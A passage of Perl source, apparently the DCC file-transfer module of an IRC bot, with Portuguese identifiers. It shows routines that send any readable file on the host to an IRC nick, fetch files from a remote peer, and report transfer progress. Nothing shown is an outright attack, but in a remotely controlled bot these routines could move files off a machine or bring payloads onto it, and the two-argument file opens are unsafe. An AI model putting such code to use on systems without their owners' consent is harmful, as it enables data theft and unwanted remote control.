  807.            $DCC{$fh}{ftime} = time;
  808.            next;
  809.         }
  810.      } elsif ($dcctipo eq "send") {
  811.           my $send = $fh->accept;
  812.           $send->autoflush(1);
  813.           $dcc_sel->add($send);
  814.           $dcc_sel->remove($fh);
  815.           $DCC{$send}{tipo} = 'sendcon';
  816.           $DCC{$send}{itime} = time;
  817.           $DCC{$send}{nick} = $nick;
  818.           $DCC{$send}{bytes} = $bytes;
  819.           $DCC{$send}{curbyte} = 0;
  820.           $DCC{$send}{arquivo} = $arquivo;
  821.           $DCC{$send}{ip} = $send->peerhost;
  822.           $DCC{$send}{porta} = $send->peerport;
  823.           $DCC{$send}{status} = "Enviando";
  824.           open(FILE, "< $arquivo");
  825.           my $fbytes;
  826.           read(FILE, $fbytes, 1024);
  827.           print $send "$fbytes";
  828.           close FILE;
  829. #          delete($DCC{$fh});
  830.      } elsif ($dcctipo eq 'sendcon') {
  831.           my $bytes_sended = unpack("N", $msg);
  832.           $DCC{$fh}{curbyte} = $bytes_sended;
  833.           if ($bytes_sended == $bytes) {
  834.              $fh->close;
  835.              $dcc_sel->remove($fh);
  836.              $DCC{$fh}{status} = "Enviado";
  837.              $DCC{$fh}{ftime} = time;
  838.              next;
  839.           }
  840.           open(SENDFILE, "< $arquivo");
  841.           seek(SENDFILE, $bytes_sended, 0);
  842.           my $send_bytes;
  843.           read(SENDFILE, $send_bytes, 1024);
  844.           print $fh "$send_bytes";
  845.           close(SENDFILE);
  846.      }
  847.    }
  848. }
  849.  
  850. sub SEND {
  851.   my ($nick, $arquivo) = @_;
  852.   unless (-r "$arquivo") {
  853.     return(0);
  854.   }
  855.   my $dccark = $arquivo;
  856.   $dccark =~ s/[.*\/](\S+)/$1/;
  857.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  858.   my $longip = unpack("N",inet_aton($meuip));
  859.   my @filestat = stat($arquivo);
  860.   my $size_total=$filestat[7];
  861.   if ($size_total == 0) {
  862.      return(0);
  863.   }
  864.   my ($porta, $sendsock);
  865.   do {
  866.     $porta = int rand(64511);
  867.     $porta += 1024;
  868.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  869.   } until $sendsock;
  870.   $DCC{$sendsock}{tipo} = 'send';
  871.   $DCC{$sendsock}{nick} = $nick;
  872.   $DCC{$sendsock}{bytes} = $size_total;
  873.   $DCC{$sendsock}{arquivo} = $arquivo;
  874.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  875. }
  876. sub GET {
  877.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  878.   return(0) if (-e "$arquivo");
  879.   if (open(FILE, "> $arquivo")) {
  880.      close FILE;
  881.   } else {
  882.     return(0);
  883.   }
  884.   my $dccip=fixaddr($dcclongip);
  885.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  886.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  887.   $dccsock->autoflush(1);
  888.   $dcc_sel->add($dccsock);
  889.   $DCC{$dccsock}{tipo} = 'get';
  890.   $DCC{$dccsock}{itime} = time;
  891.   $DCC{$dccsock}{nick} = $nick;
  892.   $DCC{$dccsock}{bytes} = $bytes;
  893.   $DCC{$dccsock}{curbyte} = 0;
  894.   $DCC{$dccsock}{arquivo} = $arquivo;
  895.   $DCC{$dccsock}{ip} = $dccip;
  896.   $DCC{$dccsock}{porta} = $dccporta;
  897.   $DCC{$dccsock}{status} = "Recebendo";
  898. }
  899. sub Status {
  900.   my $socket = shift;
  901.   my $sock_tipo = $DCC{$socket}{tipo};
  902.   unless (lc($sock_tipo) eq "chat") {
  903.     my $nick = $DCC{$socket}{nick};
  904.     my $arquivo = $DCC{$socket}{arquivo};
  905.     my $itime = $DCC{$socket}{itime};
  906.     my $ftime = time;
  907.     my $status = $DCC{$socket}{status};
  908.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  909.  
  910.     my $d_time = $ftime-$itime;
  911.  
  912.     my $cur_byte = $DCC{$socket}{curbyte};
  913.     my $bytes_total =  $DCC{$socket}{bytes};
  914.  
  915.     my $rate = 0;
  916.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  917.     my $porcen = ($cur_byte*100)/$bytes_total;
  918.  
  919.     my ($r_duv, $p_duv);
  920.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  921.        $r_duv = $3; $r_duv++ if $4 >= 5;
  922.        $rate = "$1\.$2"."$r_duv";
  923.     }
  924.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  925.        $p_duv = $3; $p_duv++ if $4 >= 5;
  926.        $porcen = "$1\.$2"."$p_duv";
  927.     }
  928.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  929.   }
  930.   return(0);
  931. }
  932.  
  933. sub fixaddr {
  934.     my ($address) = @_;
  935.  
  936.     chomp $address;
  937.     if ($address =~ /^\d+$/) {
  938.         return inet_ntoa(pack "N", $address);
  939.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  940.         return $address;
  941.     } elsif ($address =~ tr/a-zA-Z//) {
  942.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  943.     } else {
  944.         return;
  945.     }
  946. }